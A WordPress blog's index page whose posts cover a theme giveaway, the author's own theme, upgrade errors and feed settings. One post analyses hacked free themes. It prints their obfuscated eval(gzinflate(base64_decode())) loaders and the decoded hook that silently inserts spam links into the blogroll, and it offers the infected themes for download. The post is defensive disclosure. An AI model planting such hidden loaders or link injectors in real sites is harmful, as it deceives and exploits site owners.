WPDesigner Premium WordPress Themes Club - Free Membership

BlogAdda – an Indian blog showcase (directory) is giving away 100 free memberships to the Premium WordPress Themes Club of WPDesigner.

Normally, a one year membership of the club costs you $5, for which you get access to 12 premium themes (1 every month). As long as the offer from BlogAdda stands, you can get this for free. No sign-ups with BlogAdda are required. Simply read this post at the BlogAdda Blog, and leave a comment there stating your name & email correctly and include a link to the most popular post on your own blog.

They’ll get back to you in a day or two with a promotional code which you can use at the WPDesigner site to alleviate the charges for the first year.

Alternatively, you can follow BlogAdda on Twitter to claim your free membership.

I had left a comment there yesterday and by today noon I had my promotional code delivered to me. Last I checked, they have around 48 comments on that post (including comments from those who’re following BlogAdda on Twitter). If you hurry, you may still be accommodate in the last 50….

Jun 17th by miCRoSCoPiC^eaRthLinG

Finally got around to doing something that has been pending for ages… i.e. give the site it’s own look & feel.

There are plenty of good WordPress themes around – but almost all are overused. I needed something fresh and unique (if possible). I had contacted a few designers but their starting prices ranged $300 to $400 – something that I would rather spend on getting better hosting (dedicated server maybe) or on advertising. In the end, what had to be done – had to be done. Got down on my hands and knees and started designing one on my own.

Adobe (formerly Macromedia) Fireworks helped me a long way in designing all the graphics for the theme. Thanks to Twitch for the logo (lab flasks) – that really brightened up the page.

Once the initial issues with the CSS were sorted out, it was time to port it to WordPress. That was the easier part though and you can see the result proudly on display here. Incidentally, I decided to name it “Chaotica”. Yeah, I know – it’s pretty cliche. But that’s the best I could come up keeping at par with my site name. Maybe you can suggest a better alternative for me!

There are plenty of “cool stuff” that I’m yet to implement – but whatever I’ve put up so far isn’t bad for a first-timer ! What do you say ?

May 31st by miCRoSCoPiC^eaRthLinG

A quick note to everyone… I’m coming up with a leaner and meaner theme for Chaos Laboratory. I’m almost done. Should be able to unleash it in a day …or two, at the most. Learnt a hell lot in the process – both CSS and WordPress Theme design wise – not to mention, bending some popular plug-ins to work the way I want.

My own plug-ins – namely, LiveSig and curreX are both in need of critical updates which I plan to do over the weekend. Till then :)

May 29th by miCRoSCoPiC^eaRthLinG

Hacked WordPressWhile I was away on my sabbatical (read coping with the all-new fatherhood), I occasionally managed to catch a glimpse of the latest action dramas unfolding on the net – primarily because the WordPress dashboard made it a point to present them to me on a daily basis. One of them caught my fancy and I decided to take a deeper look. The topic was Technorati & hacked WordPress blogs. More than Technorati, it was the article on Weblog Tools Collection that got me wondering…

The premises

While I had made it a point to keep abreast with the WordPress releases and firmly believed that my blog wasn’t affected by this, I wasn’t quite so sure about a couple of other blogs that I had installed for my friends / clients. Going through a few of them, I noticed that all of them had a profuse amount of random & unrelated links in their footer besides containing links to a group of common sites in their blogroll. While the footer links were more or less random (and still acceptable), I couldn’t believe that, strangers as they were, all my friends & clients had managed to put their heads together and point to the same group of sites! Naturally, I got asking and found out that none of them had ever added those links in person and that even they were confused as to where they came from. Being new to blogging most of them had taken it for granted that those links were a part of the WordPress ring and had been placed there as a reciprocating gesture for providing such a terrific blogging platform for free.

The investigation

My first step was to dig into the file footer.php, where I encountered this strange sequence of code. Here’s an example…

< ?php $Gdb63b0c686622a27d0bdb237219e0e96='jZNNa9wwEIbPXch/
mOqyG4gt2mPr1UI/oL0tSUmPRmvP2iK2pGrGawz98ZW/NhAaWl9kj2ae9
52xdFCZLM1F3WyyuEDRaKK9KBrUQTxv/WONb6atgEKxF9nB1x5OjauMP
bvdlrH1jWbMSxOwYBeG7e1HOChpWl0hybNzjCH1thKgG96LOSBWK+un
XC2a8hpUcLMByN4mCXw/w+C6bQmNeUJgB9R57wLDTxfKY0CiO6j1xdg
KuEYQ3vUYsITTIGKJfQJyLfZ1jEGSqCvW2REbpn7A0FR7QmLo9XAHhrcE
47azzQA+uNaxiSUugC4vGNhQFExhelasV1+QTGWj+KcBMg11wPNe1Mz
+g5R936cXXeiREzAOZEgL18rOGsYyIY6TJFnrXhsj1LdpnYYA8LhUwT1a
1g1lUitI4Lg0GrXGUfhxFDH8o8YW4RjcxZSvOFmzeUyltMdxCJR2JNQzaeL
MWrON5D9bEupvhrNTUDPnSnl5oALR+7wLzXyMhPpqORgk2N0/PNxOR
n6/XhyF26hG+UvK52Vj6eIKSzPpo6M38bfNLCxqBxVybrs2/9XhqL2bILB
8pTBnsmkx5MTO797NCYSFsyUtzOstmrJ7n8+neoZNl0qeXDlMmTW3zW
xg8wc=';
eval(gzinflate(base64_decode($Gdb63b0c686622a27d0bdb237219e0e96))); ?>

Looks scary, doesn’t it? :D Managed to give me a fright at the first sight too. Whereas, I was expecting a bunch of hard-coded links, you get this!! Fear not. A second glance will tell you that the code isn’t really as mambo-jambo-ish as it looks. It contains 2 distinct php statements. The first one is simply the assignment of the scrambled sequence of characters to a horribly named variable i.e. $Gdb63b0c686622a27d0bdb237219e0e96.

< ?php $Gdb63b0c686622a27d0bdb237219e0e96='jZNNa9wwEIbPXch/
mOqyG4gt2mPr1UI/oL0tSUmPRmvP2iK2pGrGawz98ZW/NhAaWl9kj2ae9
52xdFCZLM1F3WyyuEDRaKK9KBrUQTxv/WONb6atgEKxF9nB1x5OjauMP
bvdlrH1jWbMSxOwYBeG7e1HOChpWl0hybNzjCH1thKgG96LOSBWK+un
XC2a8hpUcLMByN4mCXw/w+C6bQmNeUJgB9R57wLDTxfKY0CiO6j1xdg
KuEYQ3vUYsITTIGKJfQJyLfZ1jEGSqCvW2REbpn7A0FR7QmLo9XAHhrcE
47azzQA+uNaxiSUugC4vGNhQFExhelasV1+QTGWj+KcBMg11wPNe1Mz
+g5R936cXXeiREzAOZEgL18rOGsYyIY6TJFnrXhsj1LdpnYYA8LhUwT1a
1g1lUitI4Lg0GrXGUfhxFDH8o8YW4RjcxZSvOFmzeUyltMdxCJR2JNQzaeL
MWrON5D9bEupvhrNTUDPnSnl5oALR+7wLzXyMhPpqORgk2N0/PNxOR
n6/XhyF26hG+UvK52Vj6eIKSzPpo6M38bfNLCxqBxVybrs2/9XhqL2bILB
8pTBnsmkx5MTO797NCYSFsyUtzOstmrJ7n8+neoZNl0qeXDlMmTW3zW
xg8wc=';

This statement alone didn’t make much sense though. It was the second statement, with it’s share of nested functions, that started shedding light on the whole issue…

eval(gzinflate(base64_decode($Gdb63b0c686622a27d0bdb237219e0e96)));

If you’re familiar with php even a bit, you’ll begin to realise that this statement decodes whatever nastiness is lurking in the first line and helps executing it using the eval() statement. Prior to that, the code has been base64 encoded (the same encoding that is applied to email attachments) and then gzipped – if you follow the order of decoding.

To really get behind the mystery code, you need to be able to SEE it. Rather simple. Just replace the eval() statement with an echo and it’ll spit the code out onto your screen instead of executing it. Following that, we modify the code block to look like this…

< ?php $Gdb63b0c686622a27d0bdb237219e0e96='jZNNa9wwEIbPXch/
mOqyG4gt2mPr1UI/oL0tSUmPRmvP2iK2pGrGawz98ZW/NhAaWl9kj2ae9
52xdFCZLM1F3WyyuEDRaKK9KBrUQTxv/WONb6atgEKxF9nB1x5OjauMP
bvdlrH1jWbMSxOwYBeG7e1HOChpWl0hybNzjCH1thKgG96LOSBWK+un
XC2a8hpUcLMByN4mCXw/w+C6bQmNeUJgB9R57wLDTxfKY0CiO6j1xdg
KuEYQ3vUYsITTIGKJfQJyLfZ1jEGSqCvW2REbpn7A0FR7QmLo9XAHhrcE
47azzQA+uNaxiSUugC4vGNhQFExhelasV1+QTGWj+KcBMg11wPNe1Mz
+g5R936cXXeiREzAOZEgL18rOGsYyIY6TJFnrXhsj1LdpnYYA8LhUwT1a
1g1lUitI4Lg0GrXGUfhxFDH8o8YW4RjcxZSvOFmzeUyltMdxCJR2JNQzaeL
MWrON5D9bEupvhrNTUDPnSnl5oALR+7wLzXyMhPpqORgk2N0/PNxOR
n6/XhyF26hG+UvK52Vj6eIKSzPpo6M38bfNLCxqBxVybrs2/9XhqL2bILB
8pTBnsmkx5MTO797NCYSFsyUtzOstmrJ7n8+neoZNl0qeXDlMmTW3zW
xg8wc=';
echo gzinflate(base64_decode($Gdb63b0c686622a27d0bdb237219e0e96));
?>

Save this code in a new php file and execute it from your local php-enabled web-server installation (in my case XAMPP) and here’s what you get…

footer


< ?php wp_footer(); ?>

Pretty much, the kind of code you’d expect in a WordPress theme footer. While one can accept the link to http://wordpressthemes.weblogs.us as the default link to the theme hosting service, I couldn’t understand what Vacation Reality had to do with it. Still, so much for the footer. All I had to do now, was to remove the whole block of code and create a clean footer as specified by my clients.

The second complaint was regarding those common links that kept appearing in the blogroll. As it turned out, some of my clients had tried deleting those links only to have them re-appear a couple of hours down the line. Time to investigate again. This time it was the file, functions.php. Didn’t have to look far. A search for the terms eval andbase64 got me to the desired point. Once again I faced a block of code that went like…

< ?php }
$Q0d299dceb2cb08cb71bfbc1414b1505a='hZBBawIxEIXPm18xDAUTsN
pzZb3ISg9tBbvFY4gmajCbhCTbUMT/3m6qpx68DTPfvPdmiJCSi13SzlJUUi
fuXUw4Rm2jComno+oUN9qekM3IvrcFhX9TyuBMqoNxW2HgIXu5nZFK72k
pH+cHlfiXCBQ/mtdm0cJi9fne0mGRa8lguV69wRUdmhE2L826gQL0wdSjY0r
+eTrNOU+yC9IHFWPsvTdaxcnOdSNkdf3ESFVlz6/pSi4RgvimWJSs6BRCPQ
fc3DSgHU6IOAa8mf0R9wwR2O9DLuQH';
eval(gzinflate(base64_decode($Q0d299dceb2cb08cb71bfbc1414b1505a)));
?>

Taking the same road as the first time fetched me this very interesting block of code..

add_action("edit_post","insert_theme_link");
function insert_theme_link() {
    global $wpdb;
    if($wpdb->get_var("SELECT COUNT(link_id) FROM $wpdb->links WHERE link_url='http://www.wordpresssupplies.com'")==0)
        wp_insert_link(array("link_name" => "Wordpress Themes", "link_url" => "http://www.wordpresssupplies.com" ));
}

The code should be fairly self-explanatory. What we have is a function named insert_theme_link that adds a link to wordpresssupplies.com to your blogroll (contained in the table wp_links in the WordPress database), if the link isn’t present. The noteworthy line here is add_action( "edit_post","insert_theme_link" ).

The add_action function is a plug-in API hook for WordPress.

  • The first parameter dictates which WordPress action to hook or watch out for.
  • The second parameter is the name of the function that is called when the hooked action occurs.

In our case, the action is edit_post, i.e. whenever the blog author edits a post, the function that adds the link to the blogroll is executed. Hence the mysteriously re-appearing link !

The nexus

W A R N I N G!Hot on the track, I decided to follow the link that was being injected here.. i.e. wordpresssupplies.com – just to make sure this wasn’t a random case and I am not tarnishing their reputation anyhow by unjustifiably pointing fingers at them. I dropped by their site and picked 3-4 themes from different categories. And what do I find? Every single one of them contained similar code – both in the footer as well as the functions.php. Not just that – studying the links led me to two other sites teeming with hacked themes. For your convenience (and warning) I’m listing them here.

  • http://www.amazingwordpressthemes.com/
  • http://wordpressthemes.weblogs.us/

All of them are nicely decked-up and look like legit. WordPress theme sites. But be wary of any themes that you download and use from these sites for they’re certain to contain such code blocks. Apart from these links, you may also notice some other random links being injected – links to car loan sites, cheap dedicated servers etc. – shady businesses which have probably paid the hacked theme sites to insert their links and thus gain PR (pagerank) out of millions of unsuspecting sites utilising these themes.

I tried doing WHOIS on these domains, but that’s where I met-up with a wall. They’re either cloaked with Privacy Protect or contain spurious information regarding their owners. But I have a feeling that under the hood, these spammers (I prefer the term spammers here to hackers – as the people who’ve injected this code into the theme are nothing but link spammers) belong to the same group or it’s the work of a lone individual.

The Philippino blogger Yuga, outlines a couple of other methods followed by these spammers to capture / break your WordPress installation. The article is a must read.

The conclusion

On a sidenote, these themes can still be used if you carefully snip the spammy code out. Normally, the code-block in functions.php can be entirely eliminated without affecting the theme at all. As for the ones in footer.php, you’ll have to study the underlying code and eliminate the links to these sites, keeping the rest.

For those who want to experiment with such themes, I’m listing a few here for direct downloads. Disabling these themes or switching to another one will (normally) get rid of the injector code – but even then, USE AT YOUR OWN RISK.

Downloads

Emerald Waters (Hacked)  (227.0 KiB, 278 downloads)

Elegance (Hacked)  (501.7 KiB, 267 downloads)

Graytone (Hacked)  (81.9 KiB, 276 downloads)

If you manage to dig-up any other hacked theme sites like these, make sure you leave a comment enlisting them. It’ll serve as a warning note to all those who read this. And of course, if you have any thoughts to share on this issue, feel free…

May 26th by miCRoSCoPiC^eaRthLinG

Just today I performed an upgrade to the brand new WordPress 2.3.

Problem #1

The upgrade went without a hitch but the moment I refreshed my site I got this long error message that went like…


WordPress database error: [Table 'wordpress.wp_post2cat' doesn't exist]
SELECT p2c.category_id AS cat_id, COUNT(p2c.rel_id) AS numposts, UNIX_TIMESTAMP(max(p.post_date_gmt)) + '0' AS last_post_date, UNIX_TIMESTAMP(max(p.post_date_gmt)) AS last_post_date_gmt FROM wp_post2cat p2c INNER JOIN wp_posts p ON p2c.post_id=p.id WHERE (p.post_status='publish' OR p.post_status='static') AND p.post_date_gmt<='2007-09-27 11:44:24' GROUP BY p2c.category_id ORDER BY numposts DESC...

The same error kept appearing on the top of every single page. Now be aware that this new version of WordPress has a radically different table organisation. In all probability that was the cause of this error.

My first task was to disable every single plug-in I had installed. I was hoping that the error would go away immediately. It did not. After a bit of investigation I figured that even though the WP-Cache plug-in was disabled, it kept delivering the cached pages nevertheless. Deactivating it from the Plugins Panel didn’t help much. What I had to do was to go to Options > WP-Cache and disable it there. Only then did the caching stop.

The next step involved reactivating the plug-ins one-by-one and refreshing the site every time to see which plug-in was causing the error. I know it’s a painstaking task – but there’s no easy way out. Of course, you can make some well-aimed guesses, as the most likely culprit(s) are the plug-in(s) dealing with post categories, keywords, tags etc. Likewise, it didn’t take me long to catch the darned plug-in red-handed. Turned out to be Jerome’s Keywords (v2.0 beta 3). I use the Jerome’s Keywords Related Posts plug-in to display reading suggestions after each post. This plug-in in turn is dependent on Jerome’s Keywords.

As of now, I don’t think there’s any solution to this – except for deactivating the plug-in. I’ve posted a comment at the author’s site and waiting for some sort of a response.

Problem #2

As soon as I tackled the first one, a new one crept up silently and threw me off-balance again. This time the error message appeared when I tried to create a new post and save it. The screen went totally blank except for a lonely error message…

WordPress database error: [Table 'wordpress.wp_categories' doesn't exist]
SELECT c.cat_ID AS ID, MAX(p.post_modified) AS last_mod FROM `wp_categories` c, `wp_post2cat` pc, `wp_posts` p WHERE pc.category_id = c.cat_ID AND p.ID = pc.post_id AND p.post_status = 'publish' AND p.post_type='post' GROUP BY c.cat_id...

This one wasn’t hard to diagnose as half of my plug-ins were already deactivated. I simply started rolling back the activations one-by-one and had the trouble-maker in a minute or two. This time it was Google XML Sitemaps Generator (v3.0b8). Visiting the authors site took me to a post at the support forum at WordPress.org. Seems like this version of the plug-in has some sort of a conflict with Popularity Contest. The solution is quite simple here. Simply download the new v3.0b10 of this plug-in and update it. The error message disappears right-away.

So here are two very common problems you’re going to face while upgrading to WordPress v2.3. This post is intended to help those who’re facing the same problem and groping in the dark as I was a couple of hours back.

All the best.

Sep 27th by miCRoSCoPiC^eaRthLinG

RSS FeedI recently purchased Managed DNS service from my web-host (ComputingHost) as a result of which I no longer have to depend upon their tech support to cater to my DNS record modification needs. Consequently, I decided to switch to the FeedBurner Pro domain based feed service. Domain based feed service means you can customise the FeedBurner to handle your feeds straight under your domains URL (Example: http://feeds.your-domain.com) instead of the usual http://feeds.feedburner.com/YourFeed.

Earlier on this service was available under FeedBurner Pro as a paid option. Ever since Google acquired FeedBurner, this has been made free. As long as you own a domain and are able to modify your DNS records, you can set this up.

Henceforth, all feed subscribers are kindly requested to use the following URL:

http://feeds.chaos-laboratory.com/ChaosLaboratory

or

http://chaos-laboratory.com/feed

instead of the earlier:

http://feeds.feedburner.com/ChaosLaboratory

For existing subscribers – the old URL will still function, but to help facilitate my subscription tracking, kindly update the feed URL.

Any new subscribers automatically subscribe through the new domain based feed URL.

Sep 27th by miCRoSCoPiC^eaRthLinG

Email Icon LargeFeedBurner Email Subscriptions are a great way to spread your blog’s content far & wide – by sending your post feeds directly to the inbox of your subscribers. It’s a particularly viable option for the subscribers who don’t want to get into the hassle of firing up their feed reader every day. Quite a few of my regular subscribers utilise this method.

I’ve always kept a tab on each my feeds using a standard feed reader (FeedReader) and since they appeared fine to me I never really bothered to check on the email based feeds. Recently, I received a bunch of complaints from the email subscribers regarding “broken images” in the emails. Doing a quick check confirmed the reports – the images embedded in the posts were indeed missing. Instead they are replaced by the standard “broken image” icon. It took me a while to figure out the real problem – since the same feed(s) turned up just fine in any given feed reader.

The Problem

Broken ChainThe root of the problem lies in how one embeds images and/or links in the posts – i.e. in the absolute or relative URL formats. To save up on typing, I’ve always resorted to relative URLs when specifying the source of the images in my posts. This actually is a good practise since this enables you to transfer your site to another domain without any ensuing hiccups over broken links and images. However, this doesn’t always translate properly in case of RSS/Atom feeds. The best thing to do in such cases is to use absolute URLs – so that the images in the feeds get displayed properly when they are viewed independently of the site or even when incorporated in someone else’s site.

As for me, I don’t follow the standardised WordPress approach of uploading all the images under the /wp-content/uploads/ directory. I have my own folder called /postimage/ where I manually upload the pictures and then link them in the relative format. For example, /postimage/image_file.jpg.

When my site is viewed directly in a browser or through a feed reader, the images are automatically located in relation to the site root, i.e. http://chaos-laboratory.com and thus displayed properly. For emailed feeds, the image source attributes get converted to http://postimage/image_file.jpg – which naturally doesn’t make any sense to your browser.

The Solution

Your best bet out here, is to device some mechanism where you can still use the relative URLs in your posts – but they automatically get translated to the absolute form (inclusion of your domain name before the folder and file information) in case of feeds.

The first method involves some messy editing of the WordPress feed publishing files (found in the /wp-includes/ folder). In any standard WordPress installation, they’re the PHP files starting with the word feed (feed-atom.php, feed-rss2.php etc). You can edit these files and implement Regular Expression matching routines to replace any relative links with the absolute form. This is more of a pro-coder approach.

The second method is to use a readily available WordPress plug-in named URL Absolutifier which works in a similar way – but translates all your relative URLs to their absolute forms for both your site and feeds. This is the approach I’ve taken up for the time being. Currently I am testing out this plug-in and will report my findings shortly. If it manages to fix my problem, I’ll try and implement the code directly into the feed publishing engine (mentioned in the first method).

Any thoughts on this ?

Sep 17th by miCRoSCoPiC^eaRthLinG

Just as I was writing off the congratulatory note to all the Indian netizens on the 60th year of independence (yesterday), a thoroughly inspired Allan Fernandes was putting the final touches to his WordPress India Logo – which he later gifted to the entire Automattic team (the brains behind WordPress).

WordPress India Logo on 60th year of Indian independence

Great piece of work Allan !!

Aug 16th by miCRoSCoPiC^eaRthLinG

Page 1 of 38

    The Social Me

    Topics

    open all | close all

    Links

    Elsewhere on the Web…